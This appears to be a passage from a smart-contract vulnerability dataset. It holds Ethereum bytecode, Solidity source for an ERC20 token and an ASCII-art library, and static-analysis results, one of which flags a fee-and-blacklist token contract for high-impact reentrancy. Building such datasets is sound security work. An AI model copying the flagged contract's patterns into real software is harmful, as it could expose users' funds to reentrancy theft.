b19909216919091179055565b6013546001600160a01b0316336001600160a01b031614806107d657506014546001600160a01b0316336001600160a01b0316145b6107df57600080fd5b476107e981611411565b50565b6001600160a01b03811660009081526002602052604081205461068890611496565b6000546001600160a01b031633146108385760405162461bcd60e51b815260040161060290611e6d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108ac5760405162461bcd60e51b815260040161060290611e6d565b6108c16103e8683635c9adc5dea00000611ee9565b81101561091f5760405162461bcd60e51b815260206004820152602660248201527f43616e6e6f7420736574206d61785478416d6f756e74206c6f776572207468616044820152656e20302e312560d01b6064820152608401610602565b601755565b6000546001600160a01b0316331461094e5760405162461bcd60e51b815260040161060290611e6d565b6016805460ff60a01b1916600160a01b17905543600855565b6000546001600160a01b031633146109915760405162461bcd60e51b815260040161060290611e6d565b601955565b6000546001600160a01b031633146109c05760405162461bcd60e51b815260040161060290611e6d565b6009849055600b839055600a829055600c81905560006109e08285611f0b565b905060006109ee8487611f0b565b9050606482111580610a01575060648111155b610a4d5760405162461bcd60e51b815260206004820152601760248201527f46656573206d75737420626520756e64657220313030250000000000000000006044820152606401610602565b505050505050565b6000610684338484610e09565b6013546001600160a01b0316336001600160a01b03161480610a9757506014546001600160a01b0316336001600160a01b0316145b610aa057600080fd5b6000610aab306107ec565b90506107e98161151a565b6000546001600160a01b03163314610ae05760405162461bcd60e51b815260040161060290611e6d565b60005b82811015610b51578160056000868685818110610b0257610b02611ea2565b9050602002016020810190610b179190611d1d565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610b4981611ece565b915050610ae3565b50505050565b6000546001600160a01b03163314610b815760405162461bcd60e51b815260040161060290611e6d565b610b966103e8683635c9adc5dea00000611ee9565b811015610bf65760405162461bcd60e51b815260206004820152602860248201527f43616e6e6f7420736574206d617857616c6c657453697a65206c6f776572207460448201526768616e20302e312560c01b6064820152608401610602565b601855565b6000546001600160a01b03163314610c255760405162461bcd60e51b815260040161060290611e6d565b6001600160a01b038116610c8a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610602565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d475760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610602565b6001600160a01b038216610da85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610602565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e6d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610602565b6001600160a01b038216610ecf5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610602565b60008111610f315760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610602565b6000546001600160a01b03848116911614801590610f5d57506000546001600160a01b03838116911614155b156112b557601654600160a01b900460ff16610ff6576000546001600160a01b03848116911614610ff65760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610602565b6017548111156110485760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610602565b6001600160a01b03831660009081526011602052604090205460ff1615801561108a57506001600160a01b03821660009081526011602052604090205460ff16155b6110e25760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610602565b600854431115801561110157506016546001600160a01b038481169116145b801561111b57506015546001600160a01b03838116911614155b801561113057506001600160a01b0382163014155b15611159576001600160a01b0382166000908152601160205260409020805460ff191660011790555b6016546001600160a01b038381169116146111de576018548161117b846107ec565b6111859190611f0b565b106111de5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610602565b60006111e9306107ec565b6019546017549192508210159082106112025760175491505b8080156112195750601654600160a81b900460ff16155b801561123357506016546001600160a01b03868116911614155b80156112485750601654600160b01b900460ff165b801561126d57506001600160a01b03851660009081526005602052604090205460ff16155b801561129257506001600160a01b03841660009081526005602052604090205460ff16155b156112b2576112a08261151a565b4780156112b0576112b047611411565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806112f757506001600160a01b03831660009081526005602052604090205460ff165b8061132957506016546001600160a01b0385811691161480159061132957506016546001600160a01b03848116911614155b15611336575060006113cb565b6016546001600160a01b03858116911614801561136157506015546001600160a01b03848116911614155b1561137357600954600d55600a54600e555b6016546001600160a01b03848116911614801561139e57506015546001600160a01b03858116911614155b156113cb5760006113bc600c54600a546116a390919063ffffffff16565b5050600b54600d55600c54600e555b610b51848484846116e5565b600081848411156113fb5760405162461bcd60e51b81526004016106029190611c5b565b5060006114088486611f23565b95945050505050565b6013546001600160a01b03166108fc61142b8360026116a3565b6040518115909202916000818181858888f19350505050158015611453573d6000803e3d6000fd5b506014546001600160a01b03166108fc61146e8360026116a3565b6040518115909202916000818181858888f19350505050158015610673573d6000803e3d6000fd5b60006006548211156114fd5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610602565b6000611507611713565b905061151383826116a3565b9392505050565b6016805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061156257611562611ea2565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156115b657600080fd5b505afa1580156115ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115ee9190611f3a565b8160018151811061160157611601611ea2565b6001600160a01b0392831660209182029290920101526015546116279130911684610ce5565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac94790611660908590600090869030904290600401611f57565b600060405180830381600087803b15801561167a57600080fd5b505af115801561168e573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b600061151383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611736565b806116f2576116f2611764565b6116fd848484611792565b80610b5157610b51600f54600d55601054600e55565b6000806000611720611889565b909250905061172f82826116a3565b9250505090565b600081836117575760405162461bcd60e51b81526004016106029190611c5b565b5060006114088486611ee9565b600d541580156117745750600e54155b1561177b57565b600d8054600f55600e805460105560009182905555565b6000806000806000806117a4876118cb565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506117d69087611928565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611805908661196a565b6001600160a01b038916600090815260026020526040902055611827816119c9565b6118318483611a13565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161187691815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea000006118a582826116a3565b8210156118c257505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006118e88a600d54600e54611a37565b92509250925060006118f8611713565b9050600080600061190b8e878787611a8c565b919e509c509a509598509396509194505050505091939550919395565b600061151383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113d7565b6000806119778385611f0b565b9050838110156115135760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610602565b60006119d3611713565b905060006119e18383611adc565b306000908152600260205260409020549091506119fe908261196a565b30600090815260026020526040902055505050565b600654611a209083611928565b600655600754611a30908261196a565b6007555050565b6000808080611a516064611a4b8989611adc565b906116a3565b90506000611a646064611a4b8a89611adc565b90506000611a7c82611a768b86611928565b90611928565b9992985090965090945050505050565b6000808080611a9b8886611adc565b90506000611aa98887611adc565b90506000611ab78888611adc565b90506000611ac982611a768686611928565b939b939a50919850919650505050505050565b600082611aeb57506000610688565b6000611af78385611fc8565b905082611b048583611ee9565b146115135760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610602565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107e957600080fd5b8035611b9181611b71565b919050565b60006020808385031215611ba957600080fd5b823567ffffffffffffffff80821115611bc157600080fd5b818501915085601f830112611bd557600080fd5b813581811115611be757611be7611b5b565b8060051b604051601f19603f83011681018181108582111715611c0c57611c0c611b5b565b604052918252848201925083810185019188831115611c2a57600080fd5b938501935b82851015611c4f57611c4085611b86565b84529385019392850192611c2f565b98975050505050505050565b600060208083528351808285015260005b81811015611c8857858101830151858201604001528201611c6c565b81811115611c9a576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611cc357600080fd5b8235611cce81611b71565b946020939093013593505050565b600080600060608486031215611cf157600080fd5b8335611cfc81611b71565b92506020840135611d0c81611b71565b929592945050506040919091013590565b600060208284031215611d2f57600080fd5b813561151381611b71565b80358015158114611b9157600080fd5b600060208284031215611d5c57600080fd5b61151382611d3a565b600060208284031215611d7757600080fd5b5035919050565b60008060008060808587031215611d9457600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611dc557600080fd5b833567ffffffffffffffff80821115611ddd57600080fd5b818601915086601f830112611df157600080fd5b813581811115611e0057600080fd5b8760208260051b8501011115611e1557600080fd5b602092830195509350611e2b9186019050611d3a565b90509250925092565b60008060408385031215611e4757600080fd5b8235611e5281611b71565b91506020830135611e6281611b71565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611ee257611ee2611eb8565b5060010190565b600082611f0657634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115611f1e57611f1e611eb8565b500190565b600082821015611f3557611f35611eb8565b500390565b600060208284031215611f4c57600080fd5b815161151381611b71565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611fa75784516001600160a01b031683529383019391830191600101611f82565b50506001600160a01b03969096166060850152505050608001529392505050565b6000816000190483118215151615611fe257611fe2611eb8565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122005db4bfdac40c3b58491d0ebc4723eb81eac464acee626b5d2a26d5e6e5e180164736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 6,183 |
0xb08d55ebb8af25e591900eee577fd157e435122b
|
pragma solidity ^0.4.23;
// openzeppelin-solidity@1.10.0 from NPM
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract EOSO is StandardToken {
string public constant name = "EOS One"; // solium-disable-line uppercase
string public constant symbol = "EOSO"; // solium-disable-line uppercase
uint8 public constant decimals = 18; // solium-disable-line uppercase
uint256 public constant INITIAL_SUPPLY = 1000 * 1000 * 1000 * (10 ** uint256(decimals));
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(address(0), msg.sender, INITIAL_SUPPLY);
}
}
|
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100bf578063095ea7b31461014f57806318160ddd146101b457806323b872dd146101df5780632ff2e9dc14610264578063313ce5671461028f57806366188463146102c057806370a082311461032557806395d89b411461037c578063a9059cbb1461040c578063d73dd62314610471578063dd62ed3e146104d6575b600080fd5b3480156100cb57600080fd5b506100d461054d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101145780820151818401526020810190506100f9565b50505050905090810190601f1680156101415780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015b57600080fd5b5061019a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610586565b604051808215151515815260200191505060405180910390f35b3480156101c057600080fd5b506101c9610678565b6040518082815260200191505060405180910390f35b3480156101eb57600080fd5b5061024a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610682565b604051808215151515815260200191505060405180910390f35b34801561027057600080fd5b50610279610a3c565b6040518082815260200191505060405180910390f35b34801561029b57600080fd5b506102a4610a4d565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102cc57600080fd5b5061030b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a52565b604051808215151515815260200191505060405180910390f35b34801561033157600080fd5b50610366600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ce3565b6040518082815260200191505060405180910390f35b34801561038857600080fd5b50610391610d2b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103d15780820151818401526020810190506103b6565b50505050905090810190601f1680156103fe5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561041857600080fd5b50610457600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d64565b604051808215151515815260200191505060405180910390f35b34801561047d57600080fd5b506104bc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f83565b604051808215151515815260200191505060405180910390f35b3480156104e257600080fd5b50610537600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061117f565b6040518082815260200191505060405180910390f35b6040805190810160405280600781526020017f454f53204f6e650000000000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156106bf57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561070c57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561079757600080fd5b6107e8826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461120690919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061087b826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461121f90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061094c82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461120690919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601260ff16600a0a633b9aca000281565b601281565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610b63576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bf7565b610b76838261120690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6040805190810160405280600481526020017f454f534f0000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610da157600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610dee57600080fd5b610e3f826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461120690919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ed2826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461121f90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061101482600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461121f90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600082821115151561121457fe5b818303905092915050565b6000818301905082811015151561123257fe5b809050929150505600a165627a7a72305820fea87453971b812687b876cf3212301edcaa86ecd04746baf72b5fce79eba28f0029
|
{"success": true, "error": null, "results": {}}
| 6,184 |
0x99b4a41e1bfb9faBa2065144D851Ce669aEA72Be
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
library AsciiPunkFactory {
uint256 private constant TOP_COUNT = 55;
uint256 private constant EYE_COUNT = 48;
uint256 private constant NOSE_COUNT = 9;
uint256 private constant MOUTH_COUNT = 32;
function draw(uint256 seed) public pure returns (string memory) {
uint256 rand = uint256(keccak256(abi.encodePacked(seed)));
string memory top = _chooseTop(rand);
string memory eyes = _chooseEyes(rand);
string memory mouth = _chooseMouth(rand);
string memory chin = unicode" │ │ \n" unicode" └──┘ │ \n";
string memory neck = unicode" │ │ \n" unicode" │ │ \n";
return string(abi.encodePacked(top, eyes, mouth, chin, neck));
}
function _chooseTop(uint256 rand) internal pure returns (string memory) {
string[TOP_COUNT] memory tops =
[
unicode" ┌───┐ \n"
unicode" │ ┼┐ \n"
unicode" ├────┼┼ \n",
unicode" ┌┬┬┬┬┐ \n"
unicode" ╓┬┬┬┬╖ \n"
unicode" ╙┴┴┴┴╜ \n",
unicode" ╒════╕ \n"
unicode" ┌┴────┴┐ \n"
unicode" └┬────┬┘ \n",
unicode" ╒════╕ \n"
unicode" │□□□□│ \n"
unicode" └┬────┬┘ \n",
unicode" ╒════╕ \n"
unicode" │ │ \n"
unicode" └─┬────┬─┘ \n",
unicode" ◙◙◙◙ \n"
unicode" ▄████▄ \n"
unicode" ┌────┐ \n",
unicode" ┌───┐ \n"
unicode"┌──┤ └┐ \n"
unicode"└──┼────┤ \n",
unicode" ┌───┐ \n"
unicode" ┌┘ ├──┐\n"
unicode" ├────┼──┘\n",
unicode" ┌────┐/ \n"
unicode"┌──┴────┴──┐\n"
unicode"└──┬────┬──┘\n",
unicode" ╒════╕ \n"
unicode" ┌─┴────┴─┐ \n"
unicode" └─┬────┬─┘ \n",
unicode" ┌──────┐ \n"
unicode" │▲▲▲▲▲▲│ \n"
unicode" └┬────┬┘ \n",
unicode" ┌┌────┐┐ \n"
unicode" ││┌──┐││ \n"
unicode" └┼┴──┴┼┘ \n",
unicode" ┌────┐ \n"
unicode" ┌┘─ │ \n"
unicode" └┌────┐ \n",
unicode" \n"
unicode" ┌┬┬┬┬┐ \n"
unicode" ├┴┴┴┴┤ \n",
unicode" \n"
unicode" ╓┬╥┐ \n"
unicode" ┌╨┴╨┴┐ \n",
unicode" \n"
unicode" ╒╦╦╦╦╕ \n"
unicode" ╞╩╩╩╩╡ \n",
unicode" \n"
unicode" \n"
unicode" ┌┼┼┼┼┐ \n",
unicode" \n"
unicode" ││││ \n"
unicode" ┌┼┼┼┼┐ \n",
unicode" ╔ \n"
unicode" ╔║ \n"
unicode" ┌─╫╫─┐ \n",
unicode" \n"
unicode" ║║║║ \n"
unicode" ┌╨╨╨╨┐ \n",
unicode" \n"
unicode" ▐▐▐▌▌▌ \n"
unicode" ┌────┐ \n",
unicode" \n"
unicode" \\///// \n"
unicode" ┌────┐ \n",
unicode" ┐ ┌ \n"
unicode" ┐││││┌ \n"
unicode" ┌────┐ \n",
unicode" ┌┐ ┐┌┐┌┐ \n"
unicode" └└┐││┌┘ \n"
unicode" ┌┴┴┴┴┐ \n",
unicode" ┐┐┐┐┐ \n"
unicode" └└└└└┐ \n"
unicode" └└└└└┐ \n",
unicode" \n"
unicode" ││││││ \n"
unicode" ┌────┐ \n",
unicode" \n"
unicode" ╓╓╓╓ \n"
unicode" ┌╨╨╨╨┐ \n",
unicode" ╔╔╗╗╗ \n"
unicode" ╔╔╔╗╗╗╗ \n"
unicode" ╔╝╝║ ╚╚╗ \n",
unicode" ╔╔╔╔╔╗ \n"
unicode" ╔╔╔╔╔╗║╗ \n"
unicode" ╝║╨╨╨╨║╚ \n",
unicode" ╔╔═╔═╔ \n"
unicode" ╔╩╔╩╔╝ \n"
unicode" ┌────┐ \n",
unicode" \n"
unicode" /// \n"
unicode" ┌────┐ \n",
unicode" ╔╗╔╗ \n"
unicode" ╔╗╔╗╝ \n"
unicode" ┌╔╝╔╝┐ \n",
unicode" ╔╔╔╔╝ \n"
unicode" ╔╝╔╝ \n"
